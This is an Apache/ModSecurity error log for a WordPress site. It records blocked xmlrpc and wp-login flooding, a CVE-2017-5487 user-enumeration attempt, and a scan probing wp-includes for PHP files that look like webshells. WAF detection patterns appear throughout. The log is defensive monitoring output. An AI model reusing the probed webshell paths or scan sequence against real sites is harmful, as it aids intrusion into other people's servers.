[Sat Dec 27 00:41:41.386087 2025] [:error] [pid 34188:tid 34243] [client 34.12.29.68:49417] [client 34.12.29.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU66xQ54j0mXgip5BAGSRAAAAFc"]
[Sat Dec 27 00:41:43.064680 2025] [:error] [pid 34188:tid 34236] [client 34.12.29.68:49417] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU66xw54j0mXgip5BAGSSwAAAFA"]
[Sat Dec 27 00:41:45.498133 2025] [:error] [pid 34274:tid 34294] [client 34.12.29.68:49812] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU66yc6fabpS0mfhiCHrUgAAANI"]
[Sat Dec 27 00:41:47.778504 2025] [:error] [pid 34188:tid 34235] [client 34.12.29.68:57294] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU66yw54j0mXgip5BAGSVAAAAE8"]
[Sat Dec 27 00:41:50.260167 2025] [:error] [pid 34274:tid 34280] [client 34.12.29.68:61948] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU66zs6fabpS0mfhiCHrXwAAAMQ"]
[Sat Dec 27 00:41:52.581418 2025] [:error] [pid 34187:tid 34205] [client 34.12.29.68:51348] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU660Kv8srZGEpsIm8DhbwAAAA0"]
[Sat Dec 27 00:41:52.581623 2025] [:error] [pid 34187:tid 34205] [client 34.12.29.68:51348] [client 34.12.29.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.12.29.68, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU660Kv8srZGEpsIm8DhbwAAAA0"]
[Sat Dec 27 01:04:04.500436 2025] [:error] [pid 34274:tid 34294] [client 167.71.187.77:56716] [client 167.71.187.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.71.187.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7ABM6fabpS0mfhiCH26QAAANI"]
[Sat Dec 27 01:42:45.778460 2025] [:error] [pid 34274:tid 34290] [client 167.99.240.84:35964] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7JFc6fabpS0mfhiCELugAAAM4"]
[Sat Dec 27 02:18:51.229663 2025] [:error] [pid 47566:tid 47582] [client 4.213.153.26:17641] [client 4.213.153.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.153.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU7Ri6yYgLfR4YwO7byRnAAAAQ0"], referer: https://duckduckgo.com/
[Sat Dec 27 02:18:53.670756 2025] [autoindex:error] [pid 47566:tid 47573] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 27 02:18:55.116766 2025] [autoindex:error] [pid 47566:tid 47576] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Dec 27 02:18:56.307063 2025] [autoindex:error] [pid 47566:tid 47577] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Dec 27 02:18:58.828052 2025] [autoindex:error] [pid 47566:tid 47580] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Dec 27 02:19:01.888375 2025] [:error] [pid 34187:tid 34202] [client 4.213.153.26:24291] [client 4.213.153.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.153.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU7Rlav8srZGEpsIm8AFNQAAAAo"], referer: https://www.bing.com/
[Sat Dec 27 02:19:02.974116 2025] [autoindex:error] [pid 47566:tid 47571] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 27 02:19:04.187462 2025] [autoindex:error] [pid 47566:tid 47593] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Dec 27 02:19:04.330928 2025] [autoindex:error] [pid 47566:tid 47573] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 27 02:19:06.815172 2025] [:error] [pid 34187:tid 34194] [client 4.213.153.26:24291] [client 4.213.153.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.153.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU7Rmqv8srZGEpsIm8AFQAAAAAI"], referer: https://duckduckgo.com/
[Sat Dec 27 02:19:20.166578 2025] [:error] [pid 34274:tid 34276] [client 52.21.63.167:57766] [client 52.21.63.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.21.63.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU7RqM6fabpS0mfhiCEbHgAAAMA"]
[Sat Dec 27 02:19:28.000240 2025] [autoindex:error] [pid 47566:tid 47574] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 27 02:19:28.286876 2025] [autoindex:error] [pid 47566:tid 47583] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 27 02:19:29.924158 2025] [autoindex:error] [pid 47566:tid 47570] [client 4.213.153.26:13503] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Dec 27 02:19:30.061413 2025] [:error] [pid 47566:tid 47572] [client 4.213.153.26:13503] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aU7RsqyYgLfR4YwO7bySIQAAAQM"], referer: https://www.google.fr/
[Sat Dec 27 02:19:30.342440 2025] [autoindex:error] [pid 34189:tid 34263] [client 4.213.153.26:25929] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 27 02:19:30.483991 2025] [:error] [pid 34189:tid 34261] [client 4.213.153.26:25929] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aU7Rsgnn007DnMwSsfc1rQAAAI4"], referer: https://www.google.com/
[Sat Dec 27 02:19:30.761283 2025] [:error] [pid 34274:tid 34299] [client 4.213.153.26:11752] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aU7Rss6fabpS0mfhiCEbLQAAANc"], referer: https://www.google.de/
[Sat Dec 27 02:19:31.037624 2025] [:error] [pid 34187:tid 34209] [client 4.213.153.26:11734] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aU7Rs6v8srZGEpsIm8AFXwAAABE"], referer: https://www.google.com/
[Sat Dec 27 02:19:31.313851 2025] [:error] [pid 47566:tid 47593] [client 4.213.153.26:48573] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aU7Rs6yYgLfR4YwO7bySJAAAARg"], referer: https://www.google.fr/
[Sat Dec 27 02:19:31.593725 2025] [autoindex:error] [pid 34274:tid 34292] [client 4.213.153.26:4695] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 27 02:19:31.740448 2025] [autoindex:error] [pid 34274:tid 34287] [client 4.213.153.26:4695] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 27 02:19:31.876618 2025] [:error] [pid 34274:tid 34284] [client 4.213.153.26:4695] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aU7Rs86fabpS0mfhiCEbMQAAAMg"], referer: https://www.bing.com/
[Sat Dec 27 02:19:32.150953 2025] [:error] [pid 34274:tid 34295] [client 4.213.153.26:18819] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aU7RtM6fabpS0mfhiCEbMgAAANM"], referer: https://www.yahoo.com/
[Sat Dec 27 02:19:32.426078 2025] [:error] [pid 34188:tid 34243] [client 4.213.153.26:48536] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aU7RtA54j0mXgip5BAG3XQAAAFc"], referer: https://www.google.co.uk/
[Sat Dec 27 02:19:32.706405 2025] [autoindex:error] [pid 47566:tid 47590] [client 4.213.153.26:48562] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Dec 27 02:19:32.850915 2025] [autoindex:error] [pid 47566:tid 47583] [client 4.213.153.26:48562] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 27 02:19:32.994189 2025] [autoindex:error] [pid 47566:tid 47588] [client 4.213.153.26:48562] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Dec 27 02:19:33.147868 2025] [autoindex:error] [pid 47566:tid 47577] [client 4.213.153.26:48562] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 27 02:19:33.299283 2025] [:error] [pid 47566:tid 47589] [client 4.213.153.26:48562] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aU7RtayYgLfR4YwO7bySLgAAARQ"], referer: https://www.google.fr/
[Sat Dec 27 02:19:33.608030 2025] [:error] [pid 47566:tid 47572] [client 4.213.153.26:25930] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aU7RtayYgLfR4YwO7bySLwAAAQM"], referer: https://www.google.fr/
[Sat Dec 27 02:19:33.911300 2025] [:error] [pid 34187:tid 34216] [client 4.213.153.26:46800] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aU7Rtav8srZGEpsIm8AFZAAAABg"], referer: https://www.google.com/
[Sat Dec 27 02:19:34.216983 2025] [autoindex:error] [pid 47566:tid 47579] [client 4.213.153.26:9986] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 27 02:19:34.365808 2025] [:error] [pid 47566:tid 47578] [client 4.213.153.26:9986] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aU7RtqyYgLfR4YwO7bySNAAAAQk"], referer: https://www.google.fr/
[Sat Dec 27 02:19:34.640537 2025] [:error] [pid 34188:tid 34240] [client 4.213.153.26:21231] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aU7Rtg54j0mXgip5BAG3XgAAAFQ"], referer: https://www.google.com/
[Sat Dec 27 02:19:34.921672 2025] [autoindex:error] [pid 34188:tid 34236] [client 4.213.153.26:20722] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 27 02:19:35.065035 2025] [autoindex:error] [pid 34188:tid 34232] [client 4.213.153.26:20722] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 27 02:19:35.208044 2025] [autoindex:error] [pid 34188:tid 34239] [client 4.213.153.26:20722] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Dec 27 02:19:35.346746 2025] [:error] [pid 34188:tid 34235] [client 4.213.153.26:20722] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aU7Rtw54j0mXgip5BAG3YgAAAE8"], referer: https://www.google.com/
[Sat Dec 27 02:19:35.621834 2025] [:error] [pid 34188:tid 34224] [client 4.213.153.26:34672] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aU7Rtw54j0mXgip5BAG3ZAAAAEQ"], referer: https://www.bing.com/
[Sat Dec 27 02:19:35.896665 2025] [:error] [pid 34189:tid 34250] [client 4.213.153.26:25952] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aU7Rtwnn007DnMwSsfc1tAAAAIM"], referer: https://www.yahoo.com/
[Sat Dec 27 02:19:36.181493 2025] [autoindex:error] [pid 34189:tid 34264] [client 4.213.153.26:11772] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Dec 27 02:19:36.318266 2025] [:error] [pid 34189:tid 34256] [client 4.213.153.26:11772] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aU7RuAnn007DnMwSsfc1tgAAAIk"], referer: https://www.google.co.uk/
[Sat Dec 27 02:19:36.597496 2025] [:error] [pid 34187:tid 34210] [client 4.213.153.26:31726] [client 4.213.153.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aU7RuKv8srZGEpsIm8AFZgAAABI"], referer: https://www.google.de/
